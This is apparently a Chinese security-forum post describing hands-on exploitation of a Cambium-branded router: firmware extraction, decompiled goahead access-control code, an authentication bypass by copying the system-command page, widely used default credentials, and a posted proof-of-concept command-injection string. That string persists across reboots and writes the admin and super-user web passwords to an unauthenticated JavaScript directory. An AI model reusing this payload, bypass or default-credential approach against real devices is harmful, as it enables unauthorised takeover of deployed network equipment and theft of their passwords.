首页
社区
课程
招聘
[原创]某个设备的流水账
发表于: 1天前 471

[原创]某个设备的流水账

1天前
471


提前声明:最近越来越不爱解释代码了,如果哪些代码你看着很奇怪,可以找我要固件自己分析,东西都不难的。


设备配好后扫了一下发现22和23端口是开放的,那就先不拆了。

默认用户名密码 admin/admin

提取固件,可以看到这里有很多分区。一般来说直接提取rootfs就行了。

这里我选择提取Image_ALL,看看有没有别的好玩的。

dd if=/dev/mtd16 of=/tmp/image.img

不过/tmp的空间不够用,会导致设备重启,这里可以直接用nc读出。

解包binwalk就行。

整个web服务是使用goahead实现的。所有的功能api也都是在里边实现的。

先来分析下goahead权限管理,因为这个权限管理也是花我时间最多的,反正最后没绕过。

这里是典型的权限认证。

  if ( strcmp(a6, "/adm/syscmd.asp")
    || (memset(v30, 0, sizeof(v30)), sprintf(v30, "pwd=%s", passwd_for_syscmd), *a7) && !strcmp(a7, v30) )
  {
    v16 = 0;
    if ( strcmp(a6, "/")
      && strcmp(a6, "/index.asp")
      && strcmp(a6, "/robots.txt")
      && strncmp(a6, "/style/", 7)
      && strncmp(a6, "/js/", 4)
      && strcmp(a6, "/title.gif")
      && strncmp(a6, "/lang_pack/", 11)
      && strcmp(a6, "/goform/websLogin")
      && strcmp(a6, "/goform/setLanguage")
      && strcmp(a6, "/goform/updateCaptchaimg")
      && (strncmp(a6, "/reboot", 7) || !strcmp(a6, "/reboot.asp")) )
    {
      if ( strcmp(a6, "/adm/reboot.asp") || (v16 = 0, !cmd_reboot) )
      {
        if ( g_need_update == 1 )
        {
          nvramUpdate(0);
          acl_obj_destroy();
          acl_obj_init();
          g_need_update = 0;
        }
        if ( (a1[78] & 0x40) != 0 )
        {
          if ( (a1[78] & 0x100) != 0 )
            updateMenu(a6, a7, 3);
          v16 = 0;
          if ( a7 && !strcmp(a7, "NeedReboot") )
            setNeedReboot();
        }
        else
        {
          v19 = nvram_bufget(0, "WebIdleTimeout");
          v21 = atoi(v19);
          RequestIpaddr = websGetRequestIpaddr(a1);
          v22 = (_DWORD *)dword_4D7D48;
          v23 = RequestIpaddr;
          if ( !dword_4D7D48 )
            goto LABEL_49;
          v24 = a1[70];
          while ( !v24 || strcmp(v23, v22) || !strstr(v24, v22 + 18) )
          {
            v22 = (_DWORD *)v22[29];
            if ( !v22 )
              goto LABEL_49;
          }
          a1[88] = v22[16];
          if ( 60 * v21 )
            v22[17] = time(0);
          if ( (a1[78] & 0x100) != 0 )
            updateMenu(a6, a7, a1[88]);
          if ( a7 && !strcmp(a7, "NeedReboot") )
            setNeedReboot();
          v16 = 0;
          if ( sub_413898(a1[88], a6, a1[89], a1) != 1 )
          {
LABEL_49:
            websRedirect(a1, "/index.asp");
            return 1;
          }
        }
      }
    }
  }
  else
  {
    websError(a1, 404, "Page Not Found");
    return 1;
  }

有以下大概几个重点:

/adm/syscmd.asp页面单独列出来了, 肯定有东西

/index.asp,/robots.txt,/style/,/js/,/title.gif,/lang_pack/,/goform/websLogin,/goform/setLanguage,/goform/updateCaptchaimg,/reboot,/reboot.asp 这些是属于不用登陆可以访问的。

可惜的是这几个文件夹下都是js文件和sh文件,无法调用。

除了这些,正常的请求都在这里

这里不赘述了,东西很简单,授权漏洞出了很多。

主要是下面几个重点的内容。

刚才说的syscmd.asp,在adm目录下,正常登录后请求返回也是404。

这里请求后边有个pwd参数,刚开始以为是硬编码,发现不是。

这里后续其实进行修改了,具体修改函数。

简单点来说就是生成一个基于当前日期的固定格式字符串。

这里不写脚本来生成key了,我嫌麻烦。

这里直接吧/adm/syscmd.asp复制一份/adm/syscmd1.asp,直接绕过goahead中的校验。

这里遇到第二个问题,权限不足。

这里一共有两个结局方案,先说第一个,很直观的方法,绑定挂载技术。

# cp -r /etc_ro/web/ /tmp/web
# cp /tmp/web/adm/
# cp /tmp/web/adm/syscmd.asp  /tmp/web/adm/syscmd1.asp
# mount --bind /tmp/web/ /etc_ro/web/

再访问

随便执行个命令请求后,自己就添加上正确参数了。(我是懒狗我骄傲)

这个先到这里,继续分析登陆。

这里发现有三套跟登陆有关的账号

admin/admin user/user useradmin/admin

不过这三个账号只跟返回跳转的页面有关,跟cooie权限没啥关系,也就是能获取到其中一个账号密码,就能调用所有功能。

关于cookie的超时机制,这里也不多说了。

写了个脚本批量跑了一下,大概是useradmin/admin是默认的是最多的。

所以下面重点研究下怎么利用这个低权限弱口令。

在分析启动脚本过程中发现下面几个点。

  1. cambium_agent.sh中挂载mtdblock

  1. goahead.sh中执行goagead启动脚本

  1. internet.sh中启动保存的脚本

挂载mtdblock可以确定,/etc/cambium文件夹重启不丢失。

存在/custom/logo-CAMBIUM.png会将其复制到/etc/web中,证明如果在etc下可读写。

三个脚本在rcS的执行顺便为 internet.sh  -> cambium_agent.sh -> goahead.sh

#network
internet.sh "first_boot"

# 在R190上watchdog如果在internet.sh启动前启动,会导致/dev/watchdog文件无法创建,进而导致一些问题
watchdog.sh

has_mt7530=`dev_manage stat_get has_mt7530_switch`
dev_manage stat_set  is_internet_Ready "Ready"
[ "$has_mt7530" == "1" ]&&check_switch_reg_abnormal.sh &

#management
provision.sh run
snmpd.sh run
tr069.sh run
scheduled_tasks.sh start

if [ -f /usr/sbin/asterisk.sh ]; then
	asterisk.sh start
fi
chang_gpiomode.sh
#for ipphone
voip.sh start

cambium_agent=`dev_manage stat_get cambium_agent`
if [ "$cambium_agent" == "1" ]; then
	cambium_agent.sh start
fi

#web server
goahead.sh

(这里吐槽一个,代码里的中文不是我写的,是他自带的,一个美股上市的企业设备都是部署在美国境内的设备,rcS代码注释居然是中文的。抽象)

那就是怎么长利用和抗重启了。

这里我直接贴poc了。

;mkdir /etc/cambium/custom/;id>/etc/cambium/custom/logo-CAMBIUM.png;nvram_set misc_cmd 'sleep 10;nvram_get AdminUser > /etc/web/js/passwd.txt;nvram_get DBID_SUPER_WEB_PASSWORD >> /etc/web/js/passwd.txt;cp /etc/web/adm/syscmd.asp /etc/web/js/syscmd.asp';reboot;

解释下:

mkdir /etc/cambium/custom/

id>/etc/cambium/custom/logo-CAMBIUM.png

创建logo-CAMBIUM.png文件,保证设备重启后的web目录可读写

nvram_set misc_cmd

'sleep 10;

nvram_get AdminUser > /etc/web/js/passwd.txt;

nvram_get DBID_SUPER_WEB_PASSWORD >> /etc/web/js/passwd.txt;

cp /etc/web/adm/syscmd.asp /etc/web/js/syscmd.asp'

把获取其他信息写入到/js/passwd.txt中获取,之前也说了/js/下的文件不需要鉴权。吧syscmd.asp也复制过去,这里就算复制过去执行命令也需要登陆的,所以就是方便而已,没啥意义。这里先sleep 10是因为脚本执行顺序原因了。

reboot

然后就是重启验证了。

效果就是这样,这里也没啥可以仔细分析的漏洞什么东西了,因为拼接的太多了。

就这样。






[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

收藏
免费 3
支持
分享
最新回复 (1)
雪    币: 0
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
大佬,求固件下载链接
5小时前
0
游客
登录 | 注册 方可回帖
返回